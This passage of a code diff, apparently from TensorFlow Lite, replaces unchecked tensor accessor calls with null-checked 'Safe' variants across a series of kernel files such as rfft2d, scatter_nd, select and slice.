+  const TfLiteTensor* axis;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kAxisTensor, &axis));
   TF_LITE_ENSURE_EQ(context, NumDimensions(axis), 1);
   TF_LITE_ENSURE(context, NumDimensions(input) >= NumElements(axis));
 
@@ -59,7 +61,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     context->ReportError(context, "Current does not support more than 1 axis.");
   }
 
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
   TfLiteIntArray* output_shape = TfLiteIntArrayCopy(input->dims);
   TF_LITE_ENSURE_TYPES_EQ(context, output->type, input->type);
 
@@ -67,8 +71,11 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
 }
 
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  const TfLiteTensor* axis_tensor = GetInput(context, node, kAxisTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  const TfLiteTensor* axis_tensor;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kAxisTensor, &axis_tensor));
   int axis = GetTensorData<int32_t>(axis_tensor)[0];
   const int rank = NumDimensions(input);
   if (axis < 0) {
@@ -76,7 +83,9 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
   }
 
   TF_LITE_ENSURE(context, axis >= 0 && axis < rank);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   switch (output->type) {
     case kTfLiteFloat32: {
diff --git a/tensorflow/lite/kernels/reverse_sequence.cc b/tensorflow/lite/kernels/reverse_sequence.cc
index b36b1f803ca446..dbbdf3003a2eba 100644
--- a/tensorflow/lite/kernels/reverse_sequence.cc
+++ b/tensorflow/lite/kernels/reverse_sequence.cc
@@ -36,8 +36,11 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 2);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
 
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  const TfLiteTensor* seq_lengths = GetInput(context, node, kSeqLengthsTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  const TfLiteTensor* seq_lengths;
+  TF_LITE_ENSURE_OK(
+      context, GetInputSafe(context, node, kSeqLengthsTensor, &seq_lengths));
   TF_LITE_ENSURE_EQ(context, NumDimensions(seq_lengths), 1);
 
   if (input->type != kTfLiteInt32 && input->type != kTfLiteFloat32 &&
@@ -56,7 +59,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     return kTfLiteError;
   }
 
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
   TfLiteIntArray* output_shape = TfLiteIntArrayCopy(input->dims);
   TF_LITE_ENSURE_TYPES_EQ(context, output->type, input->type);
 
@@ -65,9 +70,11 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
 
 template <typename T, typename TS>
 TfLiteStatus ReverseSequenceImpl(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  const TfLiteTensor* seq_lengths_tensor =
-      GetInput(context, node, kSeqLengthsTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  const TfLiteTensor* seq_lengths_tensor;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kSeqLengthsTensor,
+                                          &seq_lengths_tensor));
   const TS* seq_lengths = GetTensorData<TS>(seq_lengths_tensor);
 
   auto* params =
@@ -86,7 +93,9 @@ TfLiteStatus ReverseSequenceImpl(TfLiteContext* context, TfLiteNode* node) {
     TF_LITE_ENSURE(context, seq_lengths[i] <= SizeOfDimension(input, seq_dim));
   }
 
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   reference_ops::ReverseSequence<T, TS>(
       seq_lengths, seq_dim, batch_dim, GetTensorShape(input),
@@ -98,8 +107,9 @@ TfLiteStatus ReverseSequenceImpl(TfLiteContext* context, TfLiteNode* node) {
 
 template <typename T>
 TfLiteStatus ReverseSequenceHelper(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* seq_lengths_tensor =
-      GetInput(context, node, kSeqLengthsTensor);
+  const TfLiteTensor* seq_lengths_tensor;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kSeqLengthsTensor,
+                                          &seq_lengths_tensor));
   switch (seq_lengths_tensor->type) {
     case kTfLiteInt32: {
       return ReverseSequenceImpl<T, int32_t>(context, node);
@@ -119,7 +129,9 @@ TfLiteStatus ReverseSequenceHelper(TfLiteContext* context, TfLiteNode* node) {
 }
 
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   switch (output->type) {
     case kTfLiteFloat32: {
diff --git a/tensorflow/lite/kernels/rfft2d.cc b/tensorflow/lite/kernels/rfft2d.cc
index 4b0b4a6140a33e..c786aed73e7a1a 100644
--- a/tensorflow/lite/kernels/rfft2d.cc
+++ b/tensorflow/lite/kernels/rfft2d.cc
@@ -73,16 +73,20 @@ static TfLiteStatus InitTemporaryTensors(TfLiteContext* context,
   data->fft_double_working_area_id = first_new_index + 1;
 
   // Set up FFT integer working area buffer.
-  TfLiteTensor* fft_integer_working_area =
-      GetTemporary(context, node, kFftIntegerWorkingAreaTensor);
+  TfLiteTensor* fft_integer_working_area;
+  TF_LITE_ENSURE_OK(
+      context, GetTemporarySafe(context, node, kFftIntegerWorkingAreaTensor,
+                                &fft_integer_working_area));
   fft_integer_working_area->type = kTfLiteInt32;
   // If fft_length is not a constant tensor, fft_integer_working_area will be
   // set to dynamic later in Prepare.
   fft_integer_working_area->allocation_type = kTfLiteArenaRw;
 
   // Set up FFT double working area buffer.
-  TfLiteTensor* fft_double_working_area =
-      GetTemporary(context, node, kFftDoubleWorkingAreaTensor);
+  TfLiteTensor* fft_double_working_area;
+  TF_LITE_ENSURE_OK(context,
+                    GetTemporarySafe(context, node, kFftDoubleWorkingAreaTensor,
+                                     &fft_double_working_area));
   // fft_double_working_area is a double tensor. Ideally, double should be
   // added into tflite data types. However, since fft_double_working_area is a
   // temporary tensor, and there are no ops having double input/output tensors
@@ -100,10 +104,13 @@ static TfLiteStatus InitTemporaryTensors(TfLiteContext* context,
 
 TfLiteStatus ResizeOutputandTemporaryTensors(TfLiteContext* context,
                                              TfLiteNode* node) {
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
   const int num_dims = NumDimensions(input);
   TF_LITE_ENSURE(context, num_dims >= 2);
-  const TfLiteTensor* fft_length = GetInput(context, node, kFftLengthTensor);
+  const TfLiteTensor* fft_length;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kFftLengthTensor, &fft_length));
   const int32_t* fft_length_data = GetTensorData<int32_t>(fft_length);
   // The lib, fft2d, can only handle fft_lengths of power of 2.
   TF_LITE_ENSURE(context, IsPowerOfTwo(fft_length_data[0]));
@@ -116,15 +123,19 @@ TfLiteStatus ResizeOutputandTemporaryTensors(TfLiteContext* context,
   int half_fft_working_length = fft_working_length / 2;
 
   // Resize output tensor.
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
   TfLiteIntArray* output_shape = TfLiteIntArrayCopy(input->dims);
   output_shape->data[num_dims - 2] = fft_length_data[0];
   output_shape->data[num_dims - 1] = fft_length_data[1] / 2 + 1;
   TF_LITE_ENSURE_STATUS(context->ResizeTensor(context, output, output_shape));
 
   // Resize temporary tensors, fft_integer_working_area.
-  TfLiteTensor* fft_integer_working_area =
-      GetTemporary(context, node, kFftIntegerWorkingAreaTensor);
+  TfLiteTensor* fft_integer_working_area;
+  TF_LITE_ENSURE_OK(
+      context, GetTemporarySafe(context, node, kFftIntegerWorkingAreaTensor,
+                                &fft_integer_working_area));
   TfLiteIntArray* fft_integer_working_area_shape = TfLiteIntArrayCreate(1);
   fft_integer_working_area_shape->data[0] =
       2 + static_cast<int>(sqrt(fft_working_length));
@@ -132,8 +143,10 @@ TfLiteStatus ResizeOutputandTemporaryTensors(TfLiteContext* context,
                                               fft_integer_working_area_shape));
 
   // Resize temporary tensors, fft_double_working_area.
-  TfLiteTensor* fft_double_working_area =
-      GetTemporary(context, node, kFftDoubleWorkingAreaTensor);
+  TfLiteTensor* fft_double_working_area;
+  TF_LITE_ENSURE_OK(context,
+                    GetTemporarySafe(context, node, kFftDoubleWorkingAreaTensor,
+                                     &fft_double_working_area));
   TfLiteIntArray* fft_double_working_area_shape = TfLiteIntArrayCreate(1);
   fft_double_working_area_shape->data[0] =
       half_fft_working_length + fft_width / 4;
@@ -157,7 +170,8 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
 
   // Check type and shape of the input tensor
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
   TF_LITE_ENSURE(context, NumDimensions(input) >= 2);
   if (input->type != kTfLiteFloat32) {
     context->ReportError(context,
@@ -167,7 +181,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   }
 
   // Check type and shape of the fft_length tensor
-  const TfLiteTensor* fft_length = GetInput(context, node, kFftLengthTensor);
+  const TfLiteTensor* fft_length;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kFftLengthTensor, &fft_length));
   const RuntimeShape fft_length_shape = GetTensorShape(fft_length);
 
   TF_LITE_ENSURE_EQ(context, NumDimensions(fft_length), 1);
@@ -183,17 +199,23 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_STATUS(InitTemporaryTensors(context, node));
 
   // Set output type
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
   output->type = kTfLiteComplex64;
 
   // Exit early if fft_length is a non-const tensor. Set output tensor and
   // temporary tensors to dynamic, so that their tensor sizes can be determined
   // in Eval.
   if (!IsConstantTensor(fft_length)) {
-    TfLiteTensor* fft_integer_working_area =
-        GetTemporary(context, node, kFftIntegerWorkingAreaTensor);
-    TfLiteTensor* fft_double_working_area =
-        GetTemporary(context, node, kFftDoubleWorkingAreaTensor);
+    TfLiteTensor* fft_integer_working_area;
+    TF_LITE_ENSURE_OK(
+        context, GetTemporarySafe(context, node, kFftIntegerWorkingAreaTensor,
+                                  &fft_integer_working_area));
+    TfLiteTensor* fft_double_working_area;
+    TF_LITE_ENSURE_OK(
+        context, GetTemporarySafe(context, node, kFftDoubleWorkingAreaTensor,
+                                  &fft_double_working_area));
     SetTensorToDynamic(fft_integer_working_area);
     SetTensorToDynamic(fft_double_working_area);
     SetTensorToDynamic(output);
@@ -325,11 +347,16 @@ void PrepareOutputBuffer(complex<float>* output_data, int fft_height,
 }
 
 TfLiteStatus Rfft2dHelper(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
   const float* input_data = GetTensorData<float>(input);
-  const TfLiteTensor* fft_length = GetInput(context, node, kFftLengthTensor);
+  const TfLiteTensor* fft_length;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kFftLengthTensor, &fft_length));
   const int32_t* fft_length_data = GetTensorData<int32_t>(fft_length);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
   complex<float>* output_data = GetTensorData<complex<float>>(output);
 
   int fft_height, fft_width;
@@ -358,14 +385,18 @@ TfLiteStatus Rfft2dHelper(TfLiteContext* context, TfLiteNode* node) {
   }
 
   // Get buffer for integer working area.
-  TfLiteTensor* fft_integer_working_area =
-      GetTemporary(context, node, kFftIntegerWorkingAreaTensor);
+  TfLiteTensor* fft_integer_working_area;
+  TF_LITE_ENSURE_OK(
+      context, GetTemporarySafe(context, node, kFftIntegerWorkingAreaTensor,
+                                &fft_integer_working_area));
   int* fft_integer_working_area_data =
       GetTensorData<int>(fft_integer_working_area);
 
   // Get buffer for double working area.
-  TfLiteTensor* fft_double_working_area =
-      GetTemporary(context, node, kFftDoubleWorkingAreaTensor);
+  TfLiteTensor* fft_double_working_area;
+  TF_LITE_ENSURE_OK(context,
+                    GetTemporarySafe(context, node, kFftDoubleWorkingAreaTensor,
+                                     &fft_double_working_area));
   // Get double value out of the memory of fft_double_working_area_data.
   double* fft_double_working_area_data = reinterpret_cast<double*>(
       GetTensorData<int64_t>(fft_double_working_area));
@@ -393,10 +424,15 @@ TfLiteStatus Rfft2dHelper(TfLiteContext* context, TfLiteNode* node) {
 }
 
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  const TfLiteTensor* fft_length = GetInput(context, node, kFftLengthTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  const TfLiteTensor* fft_length;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kFftLengthTensor, &fft_length));
   const int32_t* fft_length_data = GetTensorData<int32_t>(fft_length);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   if (output->type != kTfLiteComplex64) {
     context->ReportError(context,
diff --git a/tensorflow/lite/kernels/round.cc b/tensorflow/lite/kernels/round.cc
index 72c793c1152d61..60db1a144a31ff 100644
--- a/tensorflow/lite/kernels/round.cc
+++ b/tensorflow/lite/kernels/round.cc
@@ -30,8 +30,11 @@ constexpr int kInputTensor = 0;
 constexpr int kOutputTensor = 0;
 
 TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 1);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
   TF_LITE_ENSURE_TYPES_EQ(context, input->type, kTfLiteFloat32);
@@ -41,8 +44,11 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
 }
 
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   optimized_ops::Round(GetTensorShape(input), GetTensorData<float>(input),
                        GetTensorShape(output), GetTensorData<float>(output));
diff --git a/tensorflow/lite/kernels/scatter_nd.cc b/tensorflow/lite/kernels/scatter_nd.cc
index 4e904f666924e9..93e2fe36c3fb26 100644
--- a/tensorflow/lite/kernels/scatter_nd.cc
+++ b/tensorflow/lite/kernels/scatter_nd.cc
@@ -74,9 +74,12 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 3);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
 
-  const TfLiteTensor* indices = GetInput(context, node, kIndices);
-  const TfLiteTensor* updates = GetInput(context, node, kUpdates);
-  const TfLiteTensor* shape = GetInput(context, node, kShape);
+  const TfLiteTensor* indices;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kIndices, &indices));
+  const TfLiteTensor* updates;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kUpdates, &updates));
+  const TfLiteTensor* shape;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kShape, &shape));
 
   switch (updates->type) {
     case kTfLiteFloat32:
@@ -96,7 +99,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     return kTfLiteError;
   }
 
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
   output->type = updates->type;
 
   if (IsConstantTensor(shape)) {
@@ -163,10 +168,15 @@ TfLiteStatus EvalScatterNd(TfLiteContext* context, const TfLiteTensor* indices,
 }
 
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* indices = GetInput(context, node, kIndices);
-  const TfLiteTensor* updates = GetInput(context, node, kUpdates);
-  const TfLiteTensor* shape = GetInput(context, node, kShape);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* indices;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kIndices, &indices));
+  const TfLiteTensor* updates;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kUpdates, &updates));
+  const TfLiteTensor* shape;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kShape, &shape));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   switch (indices->type) {
     case kTfLiteInt32:
diff --git a/tensorflow/lite/kernels/segment_sum.cc b/tensorflow/lite/kernels/segment_sum.cc
index 4b762184a50647..42f83c3ad11b91 100644
--- a/tensorflow/lite/kernels/segment_sum.cc
+++ b/tensorflow/lite/kernels/segment_sum.cc
@@ -64,11 +64,15 @@ TfLiteStatus ResizeOutputTensor(TfLiteContext* context,
 TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 2);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
-  const TfLiteTensor* data = GetInput(context, node, kInputDataTensor);
-  const TfLiteTensor* segment_ids =
-      GetInput(context, node, kInputSegmentIdsTensor);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
-
+  const TfLiteTensor* data;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputDataTensor, &data));
+  const TfLiteTensor* segment_ids;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputSegmentIdsTensor,
+                                          &segment_ids));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
   TF_LITE_ENSURE(context,
                  data->type == kTfLiteInt32 || data->type == kTfLiteFloat32);
   TF_LITE_ENSURE_EQ(context, segment_ids->type, kTfLiteInt32);
@@ -82,10 +86,15 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
 }
 
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* data = GetInput(context, node, kInputDataTensor);
-  const TfLiteTensor* segment_ids =
-      GetInput(context, node, kInputSegmentIdsTensor);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* data;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputDataTensor, &data));
+  const TfLiteTensor* segment_ids;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputSegmentIdsTensor,
+                                          &segment_ids));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   if (IsDynamicTensor(output)) {
     TF_LITE_ENSURE_OK(context,
diff --git a/tensorflow/lite/kernels/select.cc b/tensorflow/lite/kernels/select.cc
index 08b510f77ad571..4ecb7fefd22a19 100644
--- a/tensorflow/lite/kernels/select.cc
+++ b/tensorflow/lite/kernels/select.cc
@@ -61,11 +61,18 @@ TfLiteStatus SelectPrepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 3);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
 
-  const TfLiteTensor* input_condition =
-      GetInput(context, node, kInputTensorCondition);
-  const TfLiteTensor* input_x = GetInput(context, node, kInputTensorX);
-  const TfLiteTensor* input_y = GetInput(context, node, kInputTensorY);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input_condition;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensorCondition,
+                                          &input_condition));
+  const TfLiteTensor* input_x;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensorX, &input_x));
+  const TfLiteTensor* input_y;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensorY, &input_y));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   // Input must be bool.
   TF_LITE_ENSURE_TYPES_EQ(context, input_condition->type, kTfLiteBool);
@@ -111,11 +118,18 @@ TfLiteStatus SelectPrepare(TfLiteContext* context, TfLiteNode* node) {
 
 TfLiteStatus SelectEval(TfLiteContext* context, TfLiteNode* node) {
   OpData* data = reinterpret_cast<OpData*>(node->user_data);
-  const TfLiteTensor* input_condition =
-      GetInput(context, node, kInputTensorCondition);
-  const TfLiteTensor* input_x = GetInput(context, node, kInputTensorX);
-  const TfLiteTensor* input_y = GetInput(context, node, kInputTensorY);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input_condition;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensorCondition,
+                                          &input_condition));
+  const TfLiteTensor* input_x;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensorX, &input_x));
+  const TfLiteTensor* input_y;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensorY, &input_y));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
 #define TF_LITE_SELECT(type, op)                                           \
   reference_ops::op(GetTensorShape(input_condition),                       \
diff --git a/tensorflow/lite/kernels/shape.cc b/tensorflow/lite/kernels/shape.cc
index afeadc38c20516..39fa8a64a1b319 100644
--- a/tensorflow/lite/kernels/shape.cc
+++ b/tensorflow/lite/kernels/shape.cc
@@ -40,8 +40,11 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 1);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
 
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   auto* params = reinterpret_cast<TfLiteShapeParams*>(node->builtin_data);
   switch (params->out_type) {
diff --git a/tensorflow/lite/kernels/skip_gram.cc b/tensorflow/lite/kernels/skip_gram.cc
index f81d152bb70b6a..6505988f4d2fc8 100644
--- a/tensorflow/lite/kernels/skip_gram.cc
+++ b/tensorflow/lite/kernels/skip_gram.cc
@@ -35,6 +35,7 @@ limitations under the License.
 
 #include "tensorflow/lite/c/builtin_op_data.h"
 #include "tensorflow/lite/c/common.h"
+#include "tensorflow/lite/kernels/internal/compatibility.h"
 #include "tensorflow/lite/kernels/kernel_util.h"
 #include "tensorflow/lite/string_util.h"
 
@@ -48,10 +49,12 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 1);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
 
-  TF_LITE_ENSURE_TYPES_EQ(context, GetInput(context, node, 0)->type,
-                          kTfLiteString);
-  TF_LITE_ENSURE_TYPES_EQ(context, GetOutput(context, node, 0)->type,
-                          kTfLiteString);
+  const TfLiteTensor* input_tensor;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input_tensor));
+  TF_LITE_ENSURE_TYPES_EQ(context, input_tensor->type, kTfLiteString);
+  TfLiteTensor* output_tensor;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output_tensor));
+  TF_LITE_ENSURE_TYPES_EQ(context, output_tensor->type, kTfLiteString);
   return kTfLiteOk;
 }
 
@@ -91,7 +94,9 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
 
   // Split sentence to words.
   std::vector<StringRef> words;
-  tflite::StringRef strref = tflite::GetString(GetInput(context, node, 0), 0);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input));
+  tflite::StringRef strref = tflite::GetString(input, 0);
   int prev_idx = 0;
   for (int i = 1; i < strref.len; i++) {
     if (isspace(*(strref.str + i))) {
diff --git a/tensorflow/lite/kernels/slice.cc b/tensorflow/lite/kernels/slice.cc
index 3f6eb73e843ebf..246d061d168976 100644
--- a/tensorflow/lite/kernels/slice.cc
+++ b/tensorflow/lite/kernels/slice.cc
@@ -113,10 +113,15 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 3);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
 
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  const TfLiteTensor* begin = GetInput(context, node, kBeginTensor);
-  const TfLiteTensor* size = GetInput(context, node, kSizeTensor);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  const TfLiteTensor* begin;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kBeginTensor, &begin));
+  const TfLiteTensor* size;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kSizeTensor, &size));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   // Ensure validity of input tensor and its dimension.
   TF_LITE_ENSURE_TYPES_EQ(context, input->type, output->type);
@@ -142,10 +147,15 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
 
 template <KernelType kernel_type>
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  const TfLiteTensor* begin = GetInput(context, node, kBeginTensor);
-  const TfLiteTensor* size = GetInput(context, node, kSizeTensor);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  const TfLiteTensor* begin;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kBeginTensor, &begin));
+  const TfLiteTensor* size;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kSizeTensor, &size));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   if (IsDynamicTensor(output)) {
     TF_LITE_ENSURE_OK(context,
diff --git a/tensorflow/lite/kernels/space_to_depth.cc b/tensorflow/lite/kernels/space_to_depth.cc
index ac001d903a466c..4db7440b57e60b 100644
--- a/tensorflow/lite/kernels/space_to_depth.cc
+++ b/tensorflow/lite/kernels/space_to_depth.cc
@@ -45,8 +45,11 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 1);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
 
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
